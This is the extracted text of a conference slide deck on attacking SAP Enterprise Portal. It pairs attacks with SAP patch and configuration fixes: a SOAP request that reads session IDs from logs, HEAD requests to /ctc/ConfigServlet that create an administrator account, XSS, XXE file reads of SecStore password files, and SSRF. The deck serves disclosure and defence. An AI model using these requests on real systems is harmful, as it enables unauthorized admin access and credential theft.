Breaking SAP Portal

Invest in security to secure investments Breaking SAP Portal Dmitry Chastuhin – Principal Researcher at ERPScan 1 About ERPScan •  The only 360-­‐degree SAP Security solu8on -­‐ ERPScan Security Monitoring Suite for SAP •  Leader by the number of acknowledgements from SAP ( 150+ ) •  60+ presentaEons key security conferences worldwide •  25 Awards and nominaEons •  Research team -­‐ 20 experts with experience in different areas of security •  Headquarters in Palo Alto (US) and Amsterdam (EU) 2 Agenda • 
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Say Hello to SAP Portal Breaking Portal through SAP Services Breaking Portal through J2EE Engine Breaking Portal through Portal Issues ERPScan SAP Pentes8ng Tool password decrypt module Conclusion SAP •  The most popular business applica8on •  More than 180000 customers worldwide •  74% Forbes 500 companies run SAP Meet sapscan.com hVp://erpscan.com/wp-­‐content/uploads/2012/06/SAP-­‐Security-­‐in-­‐figures-­‐a-­‐global-­‐survey-­‐2007-­‐2011-­‐final.pdf Say hello to Portal •  Point of Web access to SAP systems •  Point of Web access to other company systems •  Way for aVackers to get access to SAP from Internet EP architecture Okay, okay. SAP Portal it’s important and he have many links with other modules. So what? SAP Management Console SAP Management Console •  SAP MC provides a common framework for centralized system management •  Allowing to see the trace and log messages •  Using JSESSIONID from logs aVacker can login in Portal What we can find into logs? Right! File userinterface.log contains calculated JSESIONID But…aVacker must have creden8al for reading log file! Wrong! SAP Management Console <?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://
www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header>
<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/
features/session/">
<enableSession>true</enableSession>
</sapsess:Session>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:ReadLogFile xmlns:ns1="urn:SAPControl">
<filename>j2ee/cluster/server0/log/system/userinterface.log</
filename>
<filter/>
<language/>
<maxentries>%COUNT%</maxentries>
<statecookie>EOF</statecookie>
</ns1:ReadLogFile>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
PrevenEon Don’t use TRACE_LEVEL = 3 on produc8on systems or delete traces hVp://help.sap.com/saphelp_nwpi71/helpdata/en/
d6/49543b1e49bc1fe10000000a114084/frameset.htm Single-­‐Sign On SSO •  The SAP implements SSO using the Header Variable Login Module check creden8als okay cookie header_auth cookie AVacker tnx Mariano ;) PrevenEon •  Implement proper network filters to avoid direct connec8ons to the SAP •  J2EE Engine. If using it for Windows authen8ca8on, switch to the SPNegoLoginModule hVp://help.sap.com/saphelp_nw73ehp1/helpdata/en/d0/
a3d940c2653126e10000000a1550b0/frameset.htm SAP NetWeaver J2EE Access control DeclaraEve ProgrammaEc By WEB.XML By UME Web Dynpro -­‐ programma8c Portal iViews -­‐ programma8c J2EE Web apps -­‐ declara8ve DeclaraEve access control •  The central en8ty in the J2EE authoriza8on model is the security role. •  The programmer defines the applica8on-­‐specific roles in the J2EE deployment descriptor web.xml web-­‐j2ee-­‐engine.xml Verb Tampering 19 web.xml <servlet>
<servlet-name>CriticalAction</servlet-name>
<servlet-class>com.sap.admin.Critical.Action</
servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>CriticalAction</</servlet-name>
<url-pattern>/admin/critical</url-pattern>
</servlet-mapping
<security-constraint>
<web-resource-collection>
<web-resource-name>Restrictedaccess</web-resourcename>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>administrator</role-name>
</auth-constraint>
</security-constraint>
Verb Tampering •  If we trying to get access to applica8on using GET – we need a login:pass and administrator role •  If we trying to get access to applica8on using HEAD instead GET? •  PROFIT! •  Did U know about ctc? Verb Tampering Need Admin account in SAP Portal? Just send 2 HEAD request •  Create new user blabla:blabla HEAD /ctc/ConfigServlet?
param=com.sap.ctc.u8l.UserConfig;CREATEUSER;USERNAME=blabla,PASSW
ORD=blabla •  Add user blabla to group Administrators HEAD /ctc/ConfigServlet?
param=com.sap.ctc.u8l.UserConfig;ADD_USER_TO_GROUP;USERNAME=blab
la,GROUPNAME=Administrators Works when UME use JAVA database PrevenEon • 
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Install SAP notes 1503579,1616259 Install other SAP notes about Verb Tampering Scan applica8ons by ERPScan WEB.XML checker Disable the applica8ons that are not necessary Invoker servlet 24 web.xml <servlet>
<servlet-name>CriticalAction</servlet-name>
<servlet-class>com.sap.admin.Critical.Action</servletclass>
</servlet>
GET /admin/cri8cal/Cri<calAc<on <servlet-mapping>
<servlet-name>CriticalAction</</servlet-name>
<url-pattern>/admin/critical</url-pattern>
</servlet-mapping
<security-constraint>
GET /servlet/com.sap.admin.Cri8cal.Ac8on <web-resource-collection>
<web-resource-name>Restrictedaccess</web-resource-name>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
<http-method>HEAD</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>administrator</role-name>
</auth-constraint>
</security-constraint>
Invoker Servlet •  Want remote execute OS command on J2EE server? •  Maybe upload a backdoor realized as java class? •  or sniff all traffic ? S8ll remember about ctc? Invoker Servlet PrevenEon •  Update to the latest patch 1467771, 1445998 •  “EnableInvokerServletGlobally” must be “false” •  Check all WEB.XML files by ERPScan WEBXML checker So, where is a Portal? SAP Portal •  Portal permissions define user access rights to objects in the Portal Content Directory (PCD) •  Permissions in the portal are based on ACL methodology •  All objects in the PCD contain a number of permission setngs and levels, which determine their availability in the portal administra8ve environment (design 8me) and the end user environment (run8me) Portal Permission Levels End User permission •  Objects whose end user permission is enabled affect the following areas in the portal: –  All Portal Catalog obj with end user permission –  Authorized portal users may access restricted portal components that need to be accessed by URL without an intermediate iView, if they are granted permission in the appropriate security zone. Administrator permission •  Owner = full control + modify the permissions •  Full control = read/write + delete obj •  Read/Write = read+write+edit proper8es+ add/rem child •  Write(folders only) = create objects •  Read = view obj+create instances (delta links and copies) •  None = not granted access Role Assigner permission •  The role assigner permission setng is available to role objects •  It allows you to determine which portal users are permiVed to assign other users, groups, or roles to the role principle using the Role Assignment tool Security Zones •  Security zones enable a system administrator to control which portal components and portal services a portal user can launch •  A security zone specifies the vendor ID, the security area, and safety level for each portal component and portal service Why? For easy groupira8on mul8ple iViews Security Zones •  The security zone is defined in a portal applica8on’s descriptor XML file •  A portal component or service can belong to only one security zone; however portal components and services may share the same safety level •  Zones allows the administrator to assign permissions to a safety level, instead of assigning them directly to each portal component or service Why? For easy groupira8on mul8ple iViews Security Zones •  So, SecZones offer an extra, but op8onal, layer of code-­‐level security to iViews –  User-­‐> check ”end user” permission to the role-­‐> view iView –  User-­‐> check ”end user” permission to the role-­‐> check ”end user” permission to the SecZone -­‐> view iView By default, this func8onality is disabled We can get access to Portal iViews using direct URL: /irj/servlet/prt/portal/prtroot/<iView_ID> 38 Safety Levels for Security Zone •  No Safety –  Anonymous users are permiVed to access portal components defined in the security zone. •  Low Safety –  A user must be at least an authen8cated portal user to access portal components defined in the security zone. •  Medium Safety –  A user must be assigned to a par8cular portal role that is authorized to access portal components defined in the security zone •  High Safety –  A user must be assigned to a portal role with higher administra8ve rights that is authorized to access portal components defined in the security zone. So, interes8ng, how many Portal applica8ons with No\Low Safety exist? 40 No safety Zone Many custom applica8ons with low security level Zone PrevenEon Check security zones permissions • hVp://help.sap.com/saphelp_nw70/helpdata/en/
25/85de55a94c4b5fa7a2d74e8ed201b0/frameset.htm • hVp://help.sap.com/saphelp_nw70/helpdata/en/
f6/2604db05fd11d7b84200047582c9f7/frameset.htm SAP Portal •  Web based services •  All OWASP TOP10 actual – 
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XSS Phishing Traversal XXE … XSS •  Many XSS in Portal •  But some8mes “hVponly” •  But when we exploit XSS we can use features of SAP Portal EPCF 45 EPCF EPCF provides a JavaScript API designed for the client-­‐side communica8on between portal components and the portal core framework •  Enterprise Portal Client Manager (EPCM) •  iViews can access the EPCM object from every portal page or IFrame •  Every iView contains the EPCM object •  For example, EPCF used for transient user data buffer for iViews <SCRIPT> alert(EPCM.loadClientData("urn:com.sap.myObjects", "person"); </SCRIPT> 47 PrevenEon Install SAP note 1656549 KM Phishing SAP Knowledge Management may be used for crea8ng phishing pages Directory traversal FIX 51 Directory traversal fix bypass PrevenEon Install SAP note 1630293 Cut the Crap, Show Me the Hack Breaking SAP Portal •  Found file on the OS of SAP Portal with encrypt administrators and DB password •  Found file on the OS of SAP Portal with keys for decryp8ng passwords •  Found vulnerability (another one ;) ), witch allow read file with passwords and keys •  Decrypt passwords and login in Portal •  PROFIT! Read file How we can read file? •  Directory Traversal •  OS Command execute •  Xml External En8ty (XXE) XXE in Portal XXE in Portal XXE XXE Error based XXE Breaking SAP Portal •  Ok, we can read files •  Where are the passwords? •  The SAP J2EE Engine stores the database user SAP<SID>DB, its password here: •  \usr\sap\<SID>\SYS\global\security\data\SecStore.proper<es Where are the passwords? (config.properGes) rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/
ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1 Where are the passwords? (config.properGes) rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/
ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1 SecStore.properEes $internal/version=Ni4zMC4wMDAuMDAx admin/host/TTT=7KJuOPPs/+u
+14jM6sD1cyjexUZuYyeikSZPxVuwuJ29goCyxgBS admin/password/TTT=7KJuOPPs/+u+14jM6sD1c7Motb0Gk4gqfop
+QM0pb0Frj jdbc/pool/TTT=7KJuOPPs/+u
+14jM6sD1c2FNvigQ1gczFarx6uUzWBJTHJII0VegH admin/port/TTT=7KJuOPPs/+u
+14jM6sD1c4ZTtd33werzEO727R0w4Zt0URvTQ $internal/check=BAJRz~TUA+bwsVXCBzz1U1zXnH08ubt $internal/mode=encrypted admin/user/TTT=7KJuOPPs/+u
+14jM6sD1c8sTlxXUiB2ONlVGNL6N7yV7eC/5SEb But where key? 65 config.properEes rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/
ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1 Get password •  We have a encrypted password •  We have a key for decrypt it We got a J2EE admin and JDBC login:password! PrevenEon •  Install SAP note 1619539 •  Restrict read access to files SecStore.proper<es and SecStore.key ERPScan’s SAP PentesEng Tool Look at my TOOL Portal post exploitaEon •  Lot of links on other systems in company lan •  Using SSRF aVacker can get access to this system What is SSRF
? SSRF History: Basics • 
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We send Packet A to Service A Service A ini8ates Packet B to service B Services can be on the same or different hosts We can manipulate some fields of packet B within packet A Various SSRF aVacks depend on how many fields we can control on packet B Packet A Packet B ParEal Remote SSRF: HTTP ahacks to other services HTTP Server Corporate network Direct aVack GET /vuln.jsp SSRF AVack Get /vuln.jst SSRF AVack A B Gopher uri scheme •  Using gopher:// uri scheme possible send TCP packets – 
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Exploit OS vulnerabili8es Exploit old SAP ApplicaEon vulnerabiliEes Bypass SAP security restric8ons Exploit vulnerabili8es in local services More info in our BH2012 presenta8on: SSRF Vs Business Cri<cal Applica<ons hVp://erpscan.com/wp-­‐content/uploads/2012/08/SSRF-­‐vs-­‐Businness-­‐cri8cal-­‐applica8ons-­‐
whitepaper.pdf Portal post exploitaEon Conclusion It is possible protect yourself from these kinds of issues and we are working close with SAP to keep customers secure SAP Guides Regular security assessments Monitoring technical security ABAP Code review SegregaEon of DuEes It’s all in your hands Future work Many of the researched issues cannot be disclosed now because of our good rela<onship with SAP Security Response Team, whom I would like to thank for coopera<on. However, if you want to be the first who will see new aVacks and demos follow us at @erpscan and aVend future presenta<ons: • 
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2-­‐3 November -­‐ HashDays (Switzerland,Lucerne) 9 November -­‐ POC (Korea,Seul) 20 November – ZeroNights (Russia,Moscow) 29 November-­‐ DeepSEC (Austria,Vienna) Web: www.erpscan.com e-­‐mail: [email protected] TwiVer: @erpscan @_chipik